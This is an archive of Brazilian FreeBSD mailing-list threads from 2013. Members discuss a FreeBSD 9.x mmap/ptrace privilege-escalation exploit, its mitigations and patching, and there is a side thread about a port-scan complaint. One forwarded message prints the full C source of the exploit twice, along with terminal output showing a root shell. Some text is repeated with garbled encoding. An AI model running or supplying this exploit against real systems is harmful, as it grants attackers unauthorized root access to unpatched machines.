Re: [FUG-BR] Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

[Paulo Henrique]

Em 21 de junho de 2013 00:57, Adam Sina  escreveu:

> REMOVE, thanks.
>
>
>
>
> Many thanks & Best Regards
>
> Adam Xu
>
> Innoveco Electronics Ltd.
>
> Tel: +86-755-27336484
>
> Fax: +86-755-23082655
>
> MB: +86-1376 0147 670
>
> From: Patrick Tracanelli
> Date: 2013-06-21 04:28
> To: Lista Brasileira de Discuss鉶 sobre FreeBSD (FUG-BR)
> Subject: Re: [FUG-BR] Happy Birthday FreeBSD! Now you are 20 years old and
> your security is the same as 20 years ago... :)
>
>
> Em 20/06/2013, 鄐 16:03, Daniel Bristot de Oliveira <
> danielbris...@gmail.com> escreveu:
>
> > o FreeBSD come鏾u em 1993, este ano comemora-se 20th anivers醨io do
> Freebsd.
> >
> > Os problemas de "20 anos atr醩" vem do fato de que o FreeBSD ?20 anos
> > atr醩, como era um sistema "nascendo", com muitas features novas, tinha
> > bugs facilmente explor醰eis, como este.
> >
> > Ent鉶, o que ele quis dizer foi, com um tom de ironismo:
> >
> > O FreeBSD tem falhas de seguran鏰, como ?20 anos atr醩, quando estava
> > nascendo. Ele quis ent鉶 dizer que o FreeBSD ?um sistema imaturo, mas pelo
> > e-mail, n鉶 mais imaturo quanto ele (o cara que escreveu).
>
> Pois ?tem bastante coisa errada hehehe
>
> FreeBSD faz 20 anos esse ano mas n鉶 esse m阺; ou muito me engano ou o ramo
> do RELENG_1 foi criado em Setembro de 1993, n鉶 sei o dia do primeiro commit
> porque ainda tenho alguma vida social, mas algu閙 deve saber ao certo. Ent鉶
> FreeBSD foi "gerado" em Setembro mas veio ao mundo, oficialmente, viu a
> luz, em 1 de Novembro de 1993.
>
> Ent鉶 a data correta  e o an鷑cio do FreeBSD 1.0 marca seu anivers醨io, 1 de
> Novembro (de 1993). Mas tudo bem comemorar o ano inteiro :D
>
> Uma copia do anuncio feito pelo Jordan Hubbard:
> http://ftp.netbsd.org/pub/NetBSD/misc/release/FreeBSD/FreeBSD-1.0
>
> O ports ?de 21/08/1994, data que o mk do ports foi commitado e data que os
> primeiros 2 ports foram commitados, emacs, jove e bash.
>
> Sobre a falha de seguran鏰 ela n鉶 existe ha 20 anos. Ela foi introduzida no
> FreeBSD 9.0. O exploit em quest鉶 explora a falha do MMAP mas n鉶 ?um exploid
> 0day. Esse mesmo exploit tem 100% de efetividade em FreeBSD 9.1, 9.0-STABLE
> mas falha em 30% dos casos em FreeBSD 9.0-RELEASE.
>
> Sobre a mitiga玢o mencionada, colocar
> security.bsd.unprivileged_proc_debug=0 mitiga APENAS o exploit publico:
>
> # sysctl security.bsd.unprivileged_proc_debug=0
> security.bsd.unprivileged_proc_debug: 1 -> 0
> # ^D%
> %
> % ./a.out
> FreeBSD 9.{0,1} mmap/ptrace exploit
> by Hunger
> a.out: ptattach: a.out: Operation not permitted
> ptraceme: Operation not permitted
> %
>
> Ou seja n鉶 mitiga a falha do mmap. Esse exploid foi feito pra explorar da
> forma a falha de uma forma espec韋ica mas n鉶 ?a 鷑ica. Desligar essa sysctl
> n鉶 ?um workaround permanente, logico que ?bom que se fa鏰 de imediato, mas
> evita apenas esse exploit. Podem haver outras formas de explorar a mesma
> falha do mmap ent鉶 a corre玢o de verdade ?de c骴igo, atualizar.
>
> Por 鷏timo, os cr閐itos da vulnerabilidade s鉶 k...@freebsd.org e
> a...@freebsd.org, a falha foi identificada, corrigida, e anunciada, em
> casa. N鉶 foram researchers externos, n鉶 foi um 0day, etc. A coisa foi como
> deveria ser com todo sistema com uma pol韙ica respons醰el de Full Disclosure.
> O exploit em quest鉶 saiu quase 2 dias depois do advisory oficial (que saiu
> junto com a corre玢o).
>
> O FreeBSD-SA-12:04.sysret  de exatos 1 ano atras tem o mesmo impacto,
> afeta do RELENG_7 ao _9, e n鉶 ganhou todo essa aten玢o e barulho, por que? A
> postura ?a mesma galera: APLIQUEM A CORRE敲O.
>
> N鉶 se deixem impressionar pela tag "20 years old" que s?pertence (ou
> quase) ao FreeBSD. N鉶 a falha, n鉶 a seguran鏰 do FreeBSD. E a data de 20
> anos est?errada ent鉶 at?nisso o menino que fez o exploit resolveu usar o
> timing pra fazer barulho.
>
> Alias a afirma玢o que a seguran鏰 do FreeBSD ?de 20 anos atr醩 ?no m韓imo,
> imprecisa. Sistemas com pol韙ica mac do tipo bsd_partition como o Evandro
> mencionou, n鉶 permitem essa explora玢o (logico contanto que o PID esteja
> isolado em um partition diferente do partition 0 que ?do root/kernel),
> firewall de sistema de arquivos n鉶 evita a explora玢o da falha Evandro
> (bsd_extended) mas pol韙icas MAC e o PARTITION sim, evitam. Capabilities
> tamb閙 evita.
>
> Ou seja recurso pra hardening "contempor鈔eo" FreeBSD tem. Talvez mais que
> outros sistemas.
>
> Acho que o certo seria dizer que temos sysadmins com no玢o de seguran鏰 de
> 20 anos atr醩. N鉶 que o FreeBSD tem a mesma seguran鏰. Est?ai, quem aqui da
> lista usa MAC partition? MLS? LOMAC? BIBA (olha a homofobia antes de
> responder hehehe)? Alias quem na lista tem chflags ou securelevel acima de
> 0? Alias quem daqui tem seu webserver, e outros servidores tipicamente
> sucetiveis a ataques no minimo dentro de um jail? Porque a falha em quest鉶
> n鉶 permite por exemplo escapar de um jail:
>
> % ./a
> FreeBSD 9.{0,1} mmap/ptrace exploit
> by Hunger
> # id
> uid=0(root) gid=0(wheel) egid=1001(freebsdbrasil)
> groups=1001(freebsdbrasil),0(wheel)
> # jls
>  

Re: [FUG-BR] Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

[Adam Sina]

REMOVE, thanks.




Many thanks & Best Regards

Adam Xu

Innoveco Electronics Ltd.

Tel: +86-755-27336484  

Fax: +86-755-23082655 

MB: +86-1376 0147 670

From: Patrick Tracanelli
Date: 2013-06-21 04:28
To: Lista Brasileira de Discuss�o sobre FreeBSD (FUG-BR)
Subject: Re: [FUG-BR] Happy Birthday FreeBSD! Now you are 20 years old and your 
security is the same as 20 years ago... :)


Em 20/06/2013, �s 16:03, Daniel Bristot de Oliveira  
escreveu:

> o FreeBSD come�ou em 1993, este ano comemora-se 20th anivers�rio do Freebsd.
> 
> Os problemas de "20 anos atr�s" vem do fato de que o FreeBSD ?20 anos
> atr�s, como era um sistema "nascendo", com muitas features novas, tinha
> bugs facilmente explor�veis, como este.
> 
> Ent�o, o que ele quis dizer foi, com um tom de ironismo:
> 
> O FreeBSD tem falhas de seguran�a, como ?20 anos atr�s, quando estava
> nascendo. Ele quis ent�o dizer que o FreeBSD ?um sistema imaturo, mas pelo
> e-mail, n�o mais imaturo quanto ele (o cara que escreveu).

Pois ?tem bastante coisa errada hehehe

FreeBSD faz 20 anos esse ano mas n�o esse m�s; ou muito me engano ou o ramo do 
RELENG_1 foi criado em Setembro de 1993, n�o sei o dia do primeiro commit 
porque ainda tenho alguma vida social, mas algu�m deve saber ao certo. Ent�o 
FreeBSD foi "gerado" em Setembro mas veio ao mundo, oficialmente, viu a luz, em 
1 de Novembro de 1993.

Ent�o a data correta  e o an�ncio do FreeBSD 1.0 marca seu anivers�rio, 1 de 
Novembro (de 1993). Mas tudo bem comemorar o ano inteiro :D

Uma copia do anuncio feito pelo Jordan Hubbard: 
http://ftp.netbsd.org/pub/NetBSD/misc/release/FreeBSD/FreeBSD-1.0

O ports ?de 21/08/1994, data que o mk do ports foi commitado e data que os 
primeiros 2 ports foram commitados, emacs, jove e bash.

Sobre a falha de seguran�a ela n�o existe ha 20 anos. Ela foi introduzida no 
FreeBSD 9.0. O exploit em quest�o explora a falha do MMAP mas n�o ?um exploid 
0day. Esse mesmo exploit tem 100% de efetividade em FreeBSD 9.1, 9.0-STABLE mas 
falha em 30% dos casos em FreeBSD 9.0-RELEASE. 

Sobre a mitiga玢o mencionada, colocar security.bsd.unprivileged_proc_debug=0 
mitiga APENAS o exploit publico:

# sysctl security.bsd.unprivileged_proc_debug=0
security.bsd.unprivileged_proc_debug: 1 -> 0
# ^D%
%
% ./a.out
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger
a.out: ptattach: a.out: Operation not permitted
ptraceme: Operation not permitted
%

Ou seja n�o mitiga a falha do mmap. Esse exploid foi feito pra explorar da 
forma a falha de uma forma espec�fica mas n�o ?a �nica. Desligar essa sysctl 
n�o ?um workaround permanente, logico que ?bom que se fa�a de imediato, mas 
evita apenas esse exploit. Podem haver outras formas de explorar a mesma falha 
do mmap ent�o a corre玢o de verdade ?de c�digo, atualizar.

Por �ltimo, os cr�ditos da vulnerabilidade s�o k...@freebsd.org e 
a...@freebsd.org, a falha foi identificada, corrigida, e anunciada, em casa. 
N�o foram researchers externos, n�o foi um 0day, etc. A coisa foi como deveria 
ser com todo sistema com uma pol�tica respons�vel de Full Disclosure. O exploit 
em quest�o saiu quase 2 dias depois do advisory oficial (que saiu junto com a 
corre玢o).

O FreeBSD-SA-12:04.sysret  de exatos 1 ano atras tem o mesmo impacto, afeta do 
RELENG_7 ao _9, e n�o ganhou todo essa aten玢o e barulho, por que? A postura ?a 
mesma galera: APLIQUEM A CORRE敲O.

N�o se deixem impressionar pela tag "20 years old" que s?pertence (ou quase) ao 
FreeBSD. N�o a falha, n�o a seguran�a do FreeBSD. E a data de 20 anos 
est?errada ent�o at?nisso o menino que fez o exploit resolveu usar o timing pra 
fazer barulho.

Alias a afirma玢o que a seguran�a do FreeBSD ?de 20 anos atr�s ?no m�nimo, 
imprecisa. Sistemas com pol�tica mac do tipo bsd_partition como o Evandro 
mencionou, n�o permitem essa explora玢o (logico contanto que o PID esteja 
isolado em um partition diferente do partition 0 que ?do root/kernel), firewall 
de sistema de arquivos n�o evita a explora玢o da falha Evandro (bsd_extended) 
mas pol�ticas MAC e o PARTITION sim, evitam. Capabilities tamb�m evita.

Ou seja recurso pra hardening "contempor�neo" FreeBSD tem. Talvez mais que 
outros sistemas.

Acho que o certo seria dizer que temos sysadmins com no玢o de seguran�a de 20 
anos atr�s. N�o que o FreeBSD tem a mesma seguran�a. Est?ai, quem aqui da lista 
usa MAC partition? MLS? LOMAC? BIBA (olha a homofobia antes de responder 
hehehe)? Alias quem na lista tem chflags ou securelevel acima de 0? Alias quem 
daqui tem seu webserver, e outros servidores tipicamente sucetiveis a ataques 
no minimo dentro de um jail? Porque a falha em quest�o n�o permite por exemplo 
escapar de um jail:

% ./a
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger
# id
uid=0(root) gid=0(wheel) egid=1001(freebsdbrasil) 
groups=1001(freebsdbrasil),0(wheel)
# jls
   JID  IP Address  Hostname  Path
# ls -di /
9470208 /

Ent�o se nem o m�nimo nego anda fazendo, talvez o que tenhamos, igual h?20 
anos, sejam mesmo os sysadmins - co

Re: [FUG-BR] 20 anos de FreeBSD hoje

[Jackson Laskoski]

Buenas Lista!


Em 19 de junho de 2013 15:34, Jack  escreveu:

>
> Aparentemente a data é comemorativa ao início dos trabalhos no SVN do
> projeto: http://svnweb.freebsd.org/base?view=revision&revision=1
>
> Muito embora, lá, esteja registrado 12 de Junho de 1993! 8-)
>
>
>
Desfeito o mistério:
http://www.freebsd.org/news/newsflash.html#event20130619:01 e
http://ximalas.info/2013/06/19/happy-nameday-freebsd/

;-)

Abraços!
Jack
-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] TCP PORT SCAN

[Márcio Elias]

2013/6/20 Nilton Jose Rizzo 

> Em Thu, 20 Jun 2013 14:40:31 -0300, Márcio Elias escreveu
> > 2013/6/20 Nilton Jose Rizzo 
> >
> > > Em Thu, 20 Jun 2013 11:26:16 -0300, Márcio Elias escreveu
> > > > 2013/6/20 Márcio Elias 
> > > >
> > > > > 2013/6/20 Marcelo Gondim 
> > > > >
> > > > >> Em 20/06/13 09:35, Márcio Elias escreveu:
> > > > >> > Bom dia colegas,
> > > > >> >
> > > > >> > trabalho em um ISP e recebi um e-mail do registro.br que me
> gerou
> > > > >> algumas
> > > > >> > dúvidas. Pelo que entendi no e-mail, a reclamação é de um port
> scan
> > > > >> > realizado a partir de um de nossos IPs para um determinado ip na
> > > porta
> > > > >> 6881.
> > > > >> >
> > > > >> > Abaixo vou colocar o e-mail recebido (com dados mascarados) para
> que
> > > vcs
> > > > >> > possam me dar a opinião de vcs sobre isso,
> > > > >> >
> > > > >> > Título do e-mail: [NicBr-20130619-133 ] TCP PORT SCAN x.x.x.x ->
> > > > >> > xxx.xxx.3.103/32 (PORT:6881)
> > > > >> >
> > > > >> > "Caro Sr. ,
> > > > >> >
> > > > >> > Favor investigar o incidente descrito com os logs parciais
> abaixo,
> > > > >> > e dar o devido tratamento reportando com copia para todos os
> > > enderecos
> > > > >> > listados acima com as providencias/medidas tomadas para que tal
> > > evento
> > > > >> > nao volte a se repetir.
> > > > >> >
> > > > >> > No caso de tratamento indevido deste evento com reincidencia,
> serao
> > > > >> > adotadas politicas unilaterais de protecao pelo Registro.br.
> > > > >> >
> > > > >> >
> > > > >> >
> > > > >>
> > >
> Logs-
> > > --
> > > > >> > "2013-06-18 15:53:34" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 15:53:37" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 15:53:43" x.x.x.x/52218->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 15:54:59" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 15:55:02" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 15:55:08" x.x.x.x/52518->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 15:55:58" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 15:56:01" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 15:56:07" x.x.x.x/52676->xxx.xxx.3.103/6881 6(0)
> > > > >> > "2013-06-18 16:00:39" x.x.x.x/53190->xxx.xxx.3.103/6881 6(0)"
> > > > >> >
> > > > >> >
> > > > >> > Pois bem, pesquisando descobri que o range de portas 6881-6999 é
> > > usado
> > > > >> > por DHT no protocolo BitTorrent.
> > > > >> >
> > > > >> >
> > > > >> > Mais pelo que entendi no e-mail (ou melhor pelo título do
> mesmo) é
> > > que
> > > > >> > trata-se de um port scan...
> > > > >> >
> > > > >> >
> > > > >> > Vcs acham que é essa mesma a reclamação? Quais seus conselhos
> para
> > > > >> > evitar este tipo de problema?
> > > > >> >
> > > > >> >
> > > > >> > Tenho aproximadamente 20 servidores rodando FreeBSD com IPFW
> para
> > > > >> > rotear sub-redes do meu bloco de IPs.
> > > > >> >
> > > > >> >
> > > > >> > Obrigado.
> > > > >> >
> > > > >> >
> > > > >> Marcio,
> > > > >>
> > > > >> Primeiro de tudo. De onde partiu o provável scan é um servidor
> seu ou
> > > um
> > > > >> cliente de IP dinâmico?
> > > > >> Acredito que seja um servidor e se for sugiro olhar os processos
> > > rodando
> > > > >> e checagens habituais pois você poderia estar com algo rodando
> nele.
> > > > >> Como você mesmo disse essa porta é utilizada para conexões
> entrantes
> > > de
> > > > >> torrents. O deluged mesmo é um server que escuta nessa porta por
> > > padrão
> > > > >> se eu não estou enganado. Dá uma auditada nesse seu servidor.
> > > > >>
> > > > >> Grande abraço,
> > > > >> Gondim
> > > > >>
> > > > >> -
> > > > >> Histórico: http://www.fug.com.br/historico/html/freebsd/
> > > > >> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
> > > > >
> > > > >
> > > > > Humm, Valeu Marcelo, vou verificar isso. Embora o acesso a esses
> > > > > servidores seja bem restrito. Todas as portas de acesso a ele estão
> > > abertas
> > > > > somente para um servidor que controla nossa intranet...
> > > > >
> > > > > Bom, auditarei o mesmo como vc falou e qualquer coisa volto a
> > > questionar
> > > > > aqui.
> > > > >
> > > > > Obrigado por hora.
> > > > >
> > > > >
> > > > >
> > > > > Bom, verifiquei os processos, e não encontrei nenhuma anomalia. Não
> > > > contente com isso, instalei o chkrootkit e rodei ele no server em
> questão
> > > > para verificar algum possível rootkit instalado, mais também nada...
> > > >
> > > > Acho mesmo que esse port scan partiu de um cliente de de uma rede
> atrás
> > > > deste servidor (os clientes tem ips inválidos e passam por um NAT).
> > > >
> > > > Algum conselho pra evitar esse tipo de serviço por parte dos usuários
> > > > conectados a meu servidor por meio de IPFW?
> > > >
> > > > Ou que seja por outro software..
> > > >
> > > > Obrigado
> > >
> > >   Você loga as conexões nesse servidor, 

Re: [FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

[Evandro Nunes]

sysadmins com noção de 2 décadas atrás? quem dera!

os que trabalham por aqui (orgão público, vocês que pagam o salário deles
sim, protestem! rsss) não tem noção de MS-DOS como usuários finais tinham
há 20 anos atrás, eu pedi para modificarem um logonscript com 3 linhas que
há 20 anos eram triviais em qualquer autoexec.bat da vida e não conseguiram
então patrick, é otimismo seu acreditar que temos sysadmins com noção de 20
anos atrás seja de segurança ou de... sysadministration basics ;-)

hoje linuxer usa ubuntu, na minha época era slack
hoje se conhece mais de pfsense e pcbsd do que freebsd e openbsd
a geração atual não tem interesse (e cada vez menos necessidade) de
aprender nada além do mínimo, ou um pouco menos rsss. na minha época se
repetia de ano na escola, hoje tem progressão continuada rsss


2013/6/20 Marcelo Gondim 

> Em 20/06/13 15:42, Evandro Nunes escreveu:
> > On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim  >wrote:
> >
> >> É pessoal,
> >>
> >> Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para
> >> detectar isso?  :(
> >> E funciona lindo mesmo o programa.
> >>
> > de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma
> > falha do freebsd 9 inclusive o security adv so explora o freebsd 9
> > alguem teve sucesso com freebsd 8, 7, outro?
> > acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha
> > pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao
> > root nem quem tem mac_partition ou bsdextended implementado
> >
> > nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o
> > "ultra mega hacker expert" só fez o exploit depois que o advisory foi
> > publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava
> > documentado e corrigido e vem tirar uma onda de full disclosure...
> Pois é recebi isso em uma lista de segurança que assino. Consegui um 8.4
> e testei e não rola. Só no 9 mesmo.
> Esses caras são uns paiaços mesmo rsrsrsrsrs
>
> >
> >
> >>
> >>  Mensagem original 
> >> Assunto:Happy Birthday FreeBSD! Now you are 20 years old and
> your
> >> security is the same as 20 years ago... :)
> >> Data:   Wed, 19 Jun 2013 23:32:59 +0200
> >> De: Hunger 
> >> Para:   full-disclos...@lists.grok.org.uk
> >>
> >>
> >>
> >> $ uname -a
> >> FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
> >> 4 09:23:10 UTC 2012
> >> r...@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64
> >> $ id
> >> uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
> >> $ gcc fbsd9lul.c -o fbsd9lul
> >> $ ./fbsd9lul
> >> FreeBSD 9.{0,1} mmap/ptrace exploit
> >> by Hunger 
> >> # id
> >> uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
> >> #
> >>
> >>
> >>  code =
> >>
> >> /*
> >>* FreeBSD 9.{0,1} mmap/ptrace exploit
> >>* by Hunger
> >>*
> >>* Happy Birthday FreeBSD!
> >>* Now you are 20 years old and your security is the same as 20 years
> >> ago...
> >>*
> >>* Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op,
> pipacs,
> >> prof,
> >>*  sd, sghctoma, snq, spender, s2crew and others at
> >> #hekkcamp:
> >>*  I hope we'll meet again at 8@1470n
> >>*
> >>* Special thanks to proactivesec.com
> >>*
> >>*/
> >>
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >> #include 
> >>
> >> #define SH "/bin/sh"
> >> #define TG "/usr/sbin/timedc"
> >>
> >> int
> >> main(int ac, char **av) {
> >>  int from_fd, to_fd, status;
> >>  struct stat st;
> >>  struct ptrace_io_desc piod;
> >>  char *s, *d;
> >>  pid_t pid;
> >>
> >>  if (geteuid() == 0)  {
> >>   setuid(0);
> >>   execl(SH, SH, NULL);
> >>   return 0;
> >>  }
> >>
> >>  printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
> >>  printf("by Hunger\n");
> >>
> >>  if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
> >>   (to_fd = open(TG, O_RDONLY)) == -1)
> >>   err(1, "open");
> >>
> >>  if (stat(av[0], &st) == -1)
> >>   err(2, "stat");
> >>
> >>  if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
> >>   MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
> >>   (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
> >>   MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) ==
> >> MAP_FAILED)
> >>   err(3, "mmap");
> >>
> >>  if ((pid = fork()) == -1)
> >>   err(4, "fork");
> >>
> >>  if (!pid) {
> >>   if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
> >>   err(5, "ptraceme");
> >>
> >>   return 0;
> >>   }
> >>
> >>  if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
> >>   err(6, "ptattach");
> >>
> >>  if (wait(&status) == 

Re: [FUG-BR] Fwd: Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

[Marcelo Gondim]

Em 20/06/13 15:42, Evandro Nunes escreveu:
> On Thu, Jun 20, 2013 at 9:29 AM, Marcelo Gondim wrote:
>
>> É pessoal,
>>
>> Sei que a vulnerabilidade foi corrigida agora mas foram 20 anos para
>> detectar isso?  :(
>> E funciona lindo mesmo o programa.
>>
> de onde saiu isso que tem 20 anos? pelo pouco que deu pra ler explora uma
> falha do freebsd 9 inclusive o security adv so explora o freebsd 9
> alguem teve sucesso com freebsd 8, 7, outro?
> acho que a frase "seguranca de 20 anos atras" foi apenas ironiazinha
> pelo que vi esse vulnerabilidade nao afeta quem tem debug de processo nao
> root nem quem tem mac_partition ou bsdextended implementado
>
> nego quer é aparecer rss rsss a falha tai, mas não teve 0day inclusive o
> "ultra mega hacker expert" só fez o exploit depois que o advisory foi
> publicado, e ainda levou 2 dias pra conseguir explorar o que ja estava
> documentado e corrigido e vem tirar uma onda de full disclosure...
Pois é recebi isso em uma lista de segurança que assino. Consegui um 8.4 
e testei e não rola. Só no 9 mesmo.
Esses caras são uns paiaços mesmo rsrsrsrsrs

>
>
>>
>>  Mensagem original 
>> Assunto:Happy Birthday FreeBSD! Now you are 20 years old and your
>> security is the same as 20 years ago... :)
>> Data:   Wed, 19 Jun 2013 23:32:59 +0200
>> De: Hunger 
>> Para:   full-disclos...@lists.grok.org.uk
>>
>>
>>
>> $ uname -a
>> FreeBSD fbsd91x64 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec
>> 4 09:23:10 UTC 2012
>> r...@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  amd64
>> $ id
>> uid=1001(hunger) gid=1002(hunger) groups=1002(hunger)
>> $ gcc fbsd9lul.c -o fbsd9lul
>> $ ./fbsd9lul
>> FreeBSD 9.{0,1} mmap/ptrace exploit
>> by Hunger 
>> # id
>> uid=0(root) gid=0(wheel) egid=1002(hunger) groups=1002(hunger)
>> #
>>
>>
>>  code =
>>
>> /*
>>* FreeBSD 9.{0,1} mmap/ptrace exploit
>>* by Hunger
>>*
>>* Happy Birthday FreeBSD!
>>* Now you are 20 years old and your security is the same as 20 years
>> ago...
>>*
>>* Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs,
>> prof,
>>*  sd, sghctoma, snq, spender, s2crew and others at
>> #hekkcamp:
>>*  I hope we'll meet again at 8@1470n
>>*
>>* Special thanks to proactivesec.com
>>*
>>*/
>>
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>> #include 
>>
>> #define SH "/bin/sh"
>> #define TG "/usr/sbin/timedc"
>>
>> int
>> main(int ac, char **av) {
>>  int from_fd, to_fd, status;
>>  struct stat st;
>>  struct ptrace_io_desc piod;
>>  char *s, *d;
>>  pid_t pid;
>>
>>  if (geteuid() == 0)  {
>>   setuid(0);
>>   execl(SH, SH, NULL);
>>   return 0;
>>  }
>>
>>  printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
>>  printf("by Hunger\n");
>>
>>  if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
>>   (to_fd = open(TG, O_RDONLY)) == -1)
>>   err(1, "open");
>>
>>  if (stat(av[0], &st) == -1)
>>   err(2, "stat");
>>
>>  if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
>>   MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
>>   (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
>>   MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) ==
>> MAP_FAILED)
>>   err(3, "mmap");
>>
>>  if ((pid = fork()) == -1)
>>   err(4, "fork");
>>
>>  if (!pid) {
>>   if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
>>   err(5, "ptraceme");
>>
>>   return 0;
>>   }
>>
>>  if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
>>   err(6, "ptattach");
>>
>>  if (wait(&status) == -1)
>>   err(7, "wait");
>>
>>  piod.piod_op = PIOD_WRITE_D;
>>  piod.piod_offs = d;
>>  piod.piod_addr = s;
>>  piod.piod_len  = st.st_size;
>>
>>  if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
>>   err(8, "ptio");
>>
>>  execl(TG, TG, NULL);
>>
>>  return 0;
>> }
>>
>>
>>
>> -
>> Histórico: http://www.fug.com.br/historico/html/freebsd/
>> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>
> -
> Histórico: http://www.fug.com.br/historico/html/freebsd/
> Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>

-
Histórico: http://www.fug.com.br/historico/html/freebsd/
Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd

Re: [FUG-BR] Happy Birthday FreeBSD! Now you are 20 years old and your security is the same as 20 years ago... :)

[Patrick Tracanelli]

Em 20/06/2013, às 16:03, Daniel Bristot de Oliveira  
escreveu:

> o FreeBSD começou em 1993, este ano comemora-se 20th aniversário do Freebsd.
> 
> Os problemas de "20 anos atrás" vem do fato de que o FreeBSD à 20 anos
> atrás, como era um sistema "nascendo", com muitas features novas, tinha
> bugs facilmente exploráveis, como este.
> 
> Então, o que ele quis dizer foi, com um tom de ironismo:
> 
> O FreeBSD tem falhas de segurança, como à 20 anos atrás, quando estava
> nascendo. Ele quis então dizer que o FreeBSD é um sistema imaturo, mas pelo
> e-mail, não mais imaturo quanto ele (o cara que escreveu).

Pois é tem bastante coisa errada hehehe

FreeBSD faz 20 anos esse ano mas não esse mês; ou muito me engano ou o ramo do 
RELENG_1 foi criado em Setembro de 1993, não sei o dia do primeiro commit 
porque ainda tenho alguma vida social, mas alguém deve saber ao certo. Então 
FreeBSD foi "gerado" em Setembro mas veio ao mundo, oficialmente, viu a luz, em 
1 de Novembro de 1993.

Então a data correta  e o anúncio do FreeBSD 1.0 marca seu aniversário, 1 de 
Novembro (de 1993). Mas tudo bem comemorar o ano inteiro :D

Uma copia do anuncio feito pelo Jordan Hubbard: 
http://ftp.netbsd.org/pub/NetBSD/misc/release/FreeBSD/FreeBSD-1.0

O ports é de 21/08/1994, data que o mk do ports foi commitado e data que os 
primeiros 2 ports foram commitados, emacs, jove e bash.

Sobre a falha de segurança ela não existe ha 20 anos. Ela foi introduzida no 
FreeBSD 9.0. O exploit em questão explora a falha do MMAP mas não é um exploid 
0day. Esse mesmo exploit tem 100% de efetividade em FreeBSD 9.1, 9.0-STABLE mas 
falha em 30% dos casos em FreeBSD 9.0-RELEASE. 

Sobre a mitigação mencionada, colocar security.bsd.unprivileged_proc_debug=0 
mitiga APENAS o exploit publico:

# sysctl security.bsd.unprivileged_proc_debug=0
security.bsd.unprivileged_proc_debug: 1 -> 0
# ^D%
%
% ./a.out
FreeBSD 9.{0,1} mmap/ptrace exploit
by Hunger
a.out: ptattach: a.out: Operation not permitted
ptraceme: Operation not permitted
%

Ou seja não mitiga a falha do mmap. Esse exploid foi feito pra explorar da 
forma a falha de uma forma específica mas não é a única. Desligar essa sysctl 
não é um workaround permanente, logico que é bom que se faça de imediato, mas 
evita apenas esse exploit. Podem haver outras formas de explorar a mesma falha 
do mmap então a correção de verdade é de código, atualizar.

Por último, os créditos da vulnerabilidade são k...@freebsd.org e 
a...@freebsd.org, a falha foi identificada, corrigida, e anunciada, em casa. 
Não foram researchers externos, não foi um 0day, etc. A coisa foi como deveria 
ser com todo sistema com uma política responsável de Full Disclosure. O exploit 
em questão saiu quase 2 dias depois do advisory oficial (que saiu junto com a 
correção).

O FreeBSD-SA-12:04.sysret  de exatos 1 ano atras tem o mesmo impacto, afeta do 
RELENG_7 ao _9, e não ganhou todo essa atenção e barulho, por que? A postura é 
a mesma galera: APLIQUEM A CORREÇÃO.

Não se deixem impressionar pela tag "20 years old" que só pertence (ou quase) 
ao FreeBSD. Não a falha, não a segurança do FreeBSD. E a data de 20 anos está 
